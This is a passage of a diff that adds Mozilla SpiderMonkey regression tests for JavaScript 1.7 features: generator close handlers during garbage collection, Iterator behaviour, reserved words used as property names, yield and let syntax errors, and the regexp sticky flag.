+ } finally {
+ ++close_count;
+ }
+}
+
+var iter1 = gen();
+var iter2 = gen();
+
+iter1.another = iter2;
+iter2.another = iter1;
+
+iter1.next();
+iter2.next();
+
+iter1 = null;
+iter2 = null;
+
+gc();
+
+var expect = 2;
+var actual = close_count;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/iterable/regress-341496.js b/js/src/tests/js1_7/iterable/regress-341496.js
new file mode 100644
index 000000000..9e3a5aa3a
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-341496.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341496;
+var summary = 'Iterators: check that adding properties does not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var iter = Iterator({});
+for (var i = 0; i != 10*1000; ++i)
+ iter[i] = i;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/iterable/regress-341499.js b/js/src/tests/js1_7/iterable/regress-341499.js
new file mode 100644
index 000000000..7e3d619f1
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-341499.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341499;
+var summary = 'Iterators: do not assert from close handler when ' +
+ 'allocating GC things';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var someGlobal;
+
+function generator()
+{
+ try {
+ yield 0;
+ } finally {
+ someGlobal = [];
+ }
+}
+
+var iter = generator();
+iter.next();
+iter = null;
+
+gc();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/iterable/regress-341510.js b/js/src/tests/js1_7/iterable/regress-341510.js
new file mode 100644
index 000000000..27fb73b03
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-341510.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341510;
+var summary = 'Iterators: crash in close handler with assignment to ' +
+ 'nonexistent name';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function gen(i) {
+ try {
+ yield i;
+ } finally {
+ name_that_does_not_exist_in_the_scope_chain = 1;
+ }
+}
+
+var iter = gen(1);
+iter.next();
+iter = null;
+gc();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/iterable/regress-341815.js b/js/src/tests/js1_7/iterable/regress-341815.js
new file mode 100644
index 000000000..51cf2ea28
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-341815.js
@@ -0,0 +1,94 @@
+// |reftest| skip-if(!xulRuntime.shell) -- bug xxx - fails to dismiss alert
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341815;
+var summary = 'Close hook crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var ialert = 0;
+//-----------------------------------------------------------------------------
+//test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var globalToPokeGC = {};
+
+ function make_iterator()
+ {
+ function generator() {
+ try {
+ yield 0;
+ } finally {
+ make_iterator();
+ }
+ }
+ generator().next();
+ globalToPokeGC = {};
+ if (typeof alert != 'undefined')
+ {
+ alert(++ialert);
+ }
+ }
+
+ make_iterator();
+
+ for (var i = 0; i != 50000; ++i) {
+ var x = {};
+ }
+
+ print('done');
+
+ setTimeout('checkTest()', 10000);
+
+ exitFunc ('test');
+}
+
+function init()
+{
+ // give the dialog closer time to register
+ setTimeout('test()', 5000);
+}
+
+var lastialert = 0;
+
+function checkTest()
+{
+ // this function is used to check if there
+ // additional alerts are still being fired
+ // in order to prevent the test from completing
+ // until all alerts have finished.
+
+ if (ialert != lastialert)
+ {
+ lastialert = ialert;
+ setTimeout('checkTest()', 10000);
+ return;
+ }
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+if (typeof window != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+
+ window.addEventListener("load", init, false);
+}
+else
+{
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_7/iterable/regress-341821.js b/js/src/tests/js1_7/iterable/regress-341821.js
new file mode 100644
index 000000000..03cf79898
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-341821.js
@@ -0,0 +1,83 @@
+// |reftest| skip-if(!xulRuntime.shell) -- bug xxx - fails to dismiss alert
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341821;
+var summary = 'Close hook crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var ialert = 0;
+
+//-----------------------------------------------------------------------------
+//test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function generator()
+ {
+ try {
+ yield [];
+ } finally {
+ make_iterator();
+ }
+ }
+
+ function make_iterator()
+ {
+ var iter = generator();
+ iter.next();
+ iter = null;
+ if (typeof alert != 'undefined')
+ {
+ alert(++ialert);
+ }
+ }
+
+ make_iterator();
+
+ // Trigger GC through the branch callback.
+ for (var i = 0; i != 50000; ++i) {
+ var x = {};
+ }
+
+ print('done');
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+function init()
+{
+ // give the dialog closer time to register
+ setTimeout('runtest()', 5000);
+}
+
+function runtest()
+{
+ test();
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+if (typeof window != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+
+ window.addEventListener("load", init, false);
+}
+else
+{
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_7/iterable/regress-354750-01.js b/js/src/tests/js1_7/iterable/regress-354750-01.js
new file mode 100644
index 000000000..1ad600a78
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-354750-01.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354750;
+var summary = 'Changing Iterator.prototype.next should not affect default iterator';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Iterator.prototype.next = function() {
+ throw "This should not be thrown";
+ }
+
+ expect = 'No exception';
+ actual = 'No exception';
+ try
+ {
+ for (var i in [])
+ {
+ }
+ }
+ catch(ex)
+ {
+ actual = ex;
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/iterable/regress-355025.js b/js/src/tests/js1_7/iterable/regress-355025.js
new file mode 100644
index 000000000..6407451c0
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-355025.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355025;
+var summary = 'Test regression from bug 354750 - Iterable()';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Iterator([]);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/iterable/regress-355075-01.js b/js/src/tests/js1_7/iterable/regress-355075-01.js
new file mode 100644
index 000000000..a3b2e8ad6
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-355075-01.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355075;
+var summary = 'Regression tests from bug 354750';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ options('strict');
+ options('werror');
+
+ function f() {
+ this.a = {1: "a", 2: "b"};
+ var dummy;
+ for (var b in this.a)
+ dummy = b;
+ }
+
+ f();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/iterable/regress-355090.js b/js/src/tests/js1_7/iterable/regress-355090.js
new file mode 100644
index 000000000..32f70456a
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-355090.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355090;
+var summary = 'Iterator(8) is a function';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'No Error';
+ actual = 'No Error';
+ try
+ {
+ Iterator(8);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/iterable/regress-415922.js b/js/src/tests/js1_7/iterable/regress-415922.js
new file mode 100644
index 000000000..c7fe29e7b
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-415922.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 415922;
+var summary = 'Support exception from withing JSNewEnumerateOp on JSENUMERATE_NEXT';
+var actual = 'No Error';
+var expect = 'Error: its enumeration failed';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() { for (k in it) return k }
+
+ if (typeof it == 'undefined')
+ {
+ print(expect = actual = 'it not defined, test skipped');
+ }
+ else
+ {
+ try
+ {
+ it.enum_fail = true;
+ var r = f();
+ actual = 'No exception r: ' + r.toString();
+ }
+ catch (e)
+ {
+ actual = e + '';
+ }
+ finally
+ {
+ it.enum_fail = false;
+ }
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/iterable/regress-568056.js b/js/src/tests/js1_7/iterable/regress-568056.js
new file mode 100644
index 000000000..1f6570d38
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-568056.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var BUGNUMBER = 568056;
+var summary = "Iterator(obj) must not go up obj's prototype chain";
+
+var foo = {
+ z: 9,
+};
+
+var bar = {
+ __proto__: foo,
+ a: 1,
+ b: 2,
+};
+
+var results = [];
+for each (let [key, value] in Iterator(bar))
+ results.push(key + ":" + value);
+
+var actual = results.join(';')
+var expect = "a:1;b:2";
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/iterable/shell.js b/js/src/tests/js1_7/iterable/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/shell.js
diff --git a/js/src/tests/js1_7/lexical/browser.js b/js/src/tests/js1_7/lexical/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/lexical/browser.js
diff --git a/js/src/tests/js1_7/lexical/regress-336376-01.js b/js/src/tests/js1_7/lexical/regress-336376-01.js
new file mode 100644
index 000000000..959593e04
--- /dev/null
+++ b/js/src/tests/js1_7/lexical/regress-336376-01.js
@@ -0,0 +1,323 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "336376";
+var summary = "Tests reserved words in contexts in which they are not reserved";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * TEST SETUP *
+ **************/
+
+//
+// New tests go in Tester.prototype._tests. A test is called with a single
+// argument, the keyword to test in the syntax tested by that test. Tests
+// should not return anything, and they should signal failure by throwing an
+// explanatory exception and success by not throwing one.
+//
+// If you define a new test, make sure to name it using an informative string
+// for ease of use if any keywords ever manually define the array of tests they
+// should pass, and add it as a string to ALL_TESTS.
+//
+
+// all tests
+const ALL_TESTS =
+ [
+ "CONTEXT_OBJECT_LITERAL_PROPERTY",
+ "CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE",
+ "CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE_IS_FUNCTION",
+ "CONTEXT_OBJECT_PROPERTY_DOT_GET",
+ "CONTEXT_OBJECT_PROPERTY_DOT_SET",
+ ];
+
+function r(keyword, tests)
+{
+ /**
+ * @param keyword
+ * the keyword as a string
+ * @param tests
+ * array of test numbers against it, or leave undefined to run all tests
+ * against it
+ */
+ function Reserved(keyword, tests)
+ {
+ this.keyword = keyword;
+ if (tests)
+ this.tests = tests;
+ else
+ this.tests = ALL_TESTS;
+ }
+ Reserved.prototype =
+ {
+ toString:
+ function()
+ {
+ return "'" + this.keyword + "' being run against tests " +
+ this.tests;
+ }
+ };
+ return new Reserved(keyword, tests);
+}
+
+// ECMA-262, 3rd. ed. keywords -- see 7.5.2
+const ECMA_262_3_KEYWORD =
+ [
+ r("break"),
+ r("case"),
+ r("catch"),
+ r("continue"),
+ r("default"),
+ r("delete"),
+ r("do"),
+ r("else"),
+ r("finally"),
+ r("for"),
+ r("function"),
+ r("if"),
+ r("in"),
+ r("instanceof"),
+ r("new"),
+ r("return"),
+ r("switch"),
+ r("this"),
+ r("throw"),
+ r("try"),
+ r("typeof"),
+ r("var"),
+ r("void"),
+ r("while"),
+ r("with"),
+ ];
+
+// ECMA-262, 3rd. ed. future reserved keywords -- see 7.5.3
+const ECMA_262_3_FUTURERESERVEDKEYWORD =
+ [
+ r("abstract"),
+ r("boolean"),
+ r("byte"),
+ r("char"),
+ r("class"),
+ r("const"),
+ r("debugger"),
+ r("double"),
+ r("enum"),
+ r("export"),
+ r("extends"),
+ r("final"),
+ r("float"),
+ r("goto"),
+ r("implements"),
+ r("import"),
+ r("int"),
+ r("interface"),
+ r("long"),
+ r("native"),
+ r("package"),
+ r("private"),
+ r("protected"),
+ r("public"),
+ r("short"),
+ r("static"),
+ r("super"),
+ r("synchronized"),
+ r("throws"),
+ r("transient"),
+ r("volatile"),
+ ];
+
+// like reserved words, but not quite reserved words
+const PSEUDO_RESERVED =
+ [
+ r("true"),
+ r("false"),
+ r("null"),
+ r("each"), // |for each|
+ ];
+
+// new-in-ES4 reserved words -- fill this as each is implemented
+const ECMA_262_4_RESERVED_WORDS =
+ [
+ r("let")
+ ];
+
+
+
+/**
+ * @param keyword
+ * string containing the tested keyword
+ * @param test
+ * the number of the failing test
+ * @param error
+ * the exception thrown when running the test
+ */
+function Failure(keyword, test, error)
+{
+ this.keyword = keyword;
+ this.test = test;
+ this.error = error;
+}
+Failure.prototype =
+{
+ toString:
+ function()
+ {
+ return "*** FAILURE on '" + this.keyword + "'!\n" +
+ "* test: " + this.test + "\n" +
+ "* error: " + this.error + "\n";
+ }
+};
+
+function Tester()
+{
+ this._failedTests = [];
+}
+Tester.prototype =
+{
+ testReservedWords:
+ function(reservedArray)
+ {
+ var rv;
+ for (var i = 0, sz = reservedArray.length; i < sz; i++)
+ {
+ var res = reservedArray[i];
+ if (!res)
+ continue;
+
+ var tests = res.tests;
+ for (var j = 0, sz2 = tests.length; j < sz2; j++)
+ {
+ var test = tests[j];
+ if (!test)
+ continue;
+
+ try
+ {
+ this._tests[test](res.keyword);
+ }
+ catch (e)
+ {
+ this._failedTests.push(new Failure(res.keyword, test, e));
+ }
+ }
+ }
+ },
+ flushErrors:
+ function ()
+ {
+ if (this._failedTests.length > 0) {
+ var except = "*************************\n" +
+ "* FAILURES ENCOUNTERED! *\n" +
+ "*************************\n";
+ for (var i = 0, sz = this._failedTests.length; i < sz; i++)
+ except += this._failedTests[i];
+ throw except;
+ }
+ },
+ _tests:
+ {
+ CONTEXT_OBJECT_LITERAL_PROPERTY:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { " + keyword + ": 17 };\n" +
+ "if (o['" + keyword + "'] != 17)\n" +
+ "throw \"o['" + keyword + "'] == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { \"" + keyword + "\": 17, baz: null };\n" +
+ "if (o." + keyword + " != 17)\n" +
+ "throw \"o." + keyword + " == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE_IS_FUNCTION:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { '" + keyword + "': function() { return 17; }, baz: null };\n" +
+ "if (o." + keyword + "() != 17)\n" +
+ "throw \"o." + keyword + " == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_GET:
+ function(keyword)
+ {
+ try
+ {
+ var o = {};
+ eval("o['" + keyword + "'] = 17;\n" +
+ "if (o." + keyword + " != 17)\n" +
+ "throw \"'o." + keyword + " != 17' failed!\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_SET:
+ function(keyword)
+ {
+ try
+ {
+ var o = {};
+ eval("o." + keyword + " = 17;\n" +
+ "if (o['" + keyword + "'] != 17)\n" +
+ "throw \"'o." + keyword + " = 17' failed!\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ }
+};
+
+
+/***************
+ * BEGIN TESTS *
+ ***************/
+
+var failed = false;
+
+try
+{
+ var tester = new Tester();
+ tester.testReservedWords(ECMA_262_3_KEYWORD);
+ tester.testReservedWords(ECMA_262_3_FUTURERESERVEDKEYWORD);
+ tester.testReservedWords(PSEUDO_RESERVED);
+ tester.testReservedWords(ECMA_262_4_RESERVED_WORDS);
+ tester.flushErrors();
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/lexical/regress-346642-03.js b/js/src/tests/js1_7/lexical/regress-346642-03.js
new file mode 100644
index 000000000..14f36648b
--- /dev/null
+++ b/js/src/tests/js1_7/lexical/regress-346642-03.js
@@ -0,0 +1,124 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346642;
+var summary = 'decompilation of destructuring assignment';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: NaN is not a constructor';
+ actual = 'No Crash';
+ try
+ {
+ try { throw 1; } catch(e1 if 0) { } catch(e2 if (new NaN)) { }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = /TypeError: x.t (has no properties|is undefined)/;
+ actual = 'No Crash';
+ try
+ {
+ z = [1];
+ let (x = (undefined ? 3 : z)) { x.t.g }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary + ': 2');
+
+ expect = /TypeError: x.t (has no properties|is undefined)/;
+ actual = 'No Crash';
+ try
+ {
+ z = [1];
+ new Function("let (x = (undefined ? 3 : z)) { x.t.g }")()
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary + ': 3');
+
+ expect = 'TypeError: b is not a constructor';
+ actual = 'No Crash';
+ try
+ {
+ with({x: (new (b = 1))}) (2).x
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 4');
+
+ expect = /TypeError: this.zzz (has no properties|is undefined)/;
+ actual = 'No Crash';
+ try
+ {
+ (function(){try { } catch(f) { return; } finally { this.zzz.zzz }})();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary + ': 5');
+
+ expect = 'TypeError: p.z = <x><y/></x> ? 3 : 4 is not a function';
+ actual = 'No Crash';
+ try
+ {
+ (new Function("if(\n({y:5, p: (print).r})) { p={}; (p.z = <x\n><y/></x> ? 3 : 4)(5) }"))();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 6');
+
+ expect = 'TypeError: xx is not a function';
+ actual = 'No Crash';
+ try
+ {
+ switch(xx) { case 3: case (new ([3].map)): } const xx;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 7');
+
+ expect = 'ReferenceError: x.y is not defined';
+ actual = 'No Crash';
+ try
+ {
+ x = {};
+ import x.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 9');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/lexical/regress-346642-04.js b/js/src/tests/js1_7/lexical/regress-346642-04.js
new file mode 100644
index 000000000..77fe059ce
--- /dev/null
+++ b/js/src/tests/js1_7/lexical/regress-346642-04.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346642;
+var summary = 'decompilation of destructuring assignment';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'No Crash';
+ actual = 'No Crash';
+ try
+ {
+ (function() { for (var [a, b] in []) for ([c, d] in []) { } });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/lexical/regress-351515.js b/js/src/tests/js1_7/lexical/regress-351515.js
new file mode 100644
index 000000000..e68e3da50
--- /dev/null
+++ b/js/src/tests/js1_7/lexical/regress-351515.js
@@ -0,0 +1,97 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351515;
+var summary = 'Invalid uses of yield, let keywords in js17';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+try
+{
+ expect = "SyntaxError";
+ eval('yield = 1;');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': global: yield = 1');
+
+try
+{
+ expect = "SyntaxError";
+ eval('(function(){yield = 1;})');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': local: yield = 1');
+
+try
+{
+ expect = "No Error";
+ eval('let = 1;');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': global: let = 1');
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = "SyntaxError";
+ eval('function f(yield, let) { return yield+let; }');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary +
+ ': function f(yield, let) { return yield+let; }');
+
+ try
+ {
+ expect = "SyntaxError";
+ eval('var yield = 1;');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function () {var yield;}');
+
+ try
+ {
+ expect = "No Error";
+ eval('var let = 1;');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function () { var let;}');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/lexical/shell.js b/js/src/tests/js1_7/lexical/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/lexical/shell.js
diff --git a/js/src/tests/js1_7/regexp/browser.js b/js/src/tests/js1_7/regexp/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/regexp/browser.js
diff --git a/js/src/tests/js1_7/regexp/shell.js b/js/src/tests/js1_7/regexp/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/regexp/shell.js
diff --git a/js/src/tests/js1_7/regexp/yflag.js b/js/src/tests/js1_7/regexp/yflag.js
new file mode 100644
index 000000000..079aae304
--- /dev/null
+++ b/js/src/tests/js1_7/regexp/yflag.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 371932;
+var summary = 'ES4 Regular Expression /y flag';
+var actual = '';
+var expect = '';
+
+print('See http://developer.mozilla.org/es4/proposals/extend_regexps.html#y_flag');
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var c;
+ var s = '123456';
+
+ print('Test global flag.');
+
+ var g = /(1)/g;
+ expect = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ actual = 'captures: ' + g.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+ reportCompare(expect, actual, summary + ' - /(1)/g.exec("1234561") first call');
+
+ expect = 'captures: 1,1; RegExp.leftContext: "123456"; RegExp.rightContext: ""';
+ actual = 'captures: ' + g.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+ reportCompare(expect, actual, summary + ' - /(1)/g.exec("1234561") second call');
+ var y = /(1)/y;
+
+ print('Test sticky flag.');
+
+ /*
+ * calls to reportCompare invoke regular expression matches which interfere
+ * with the test of the sticky flag. Collect expect and actual values prior
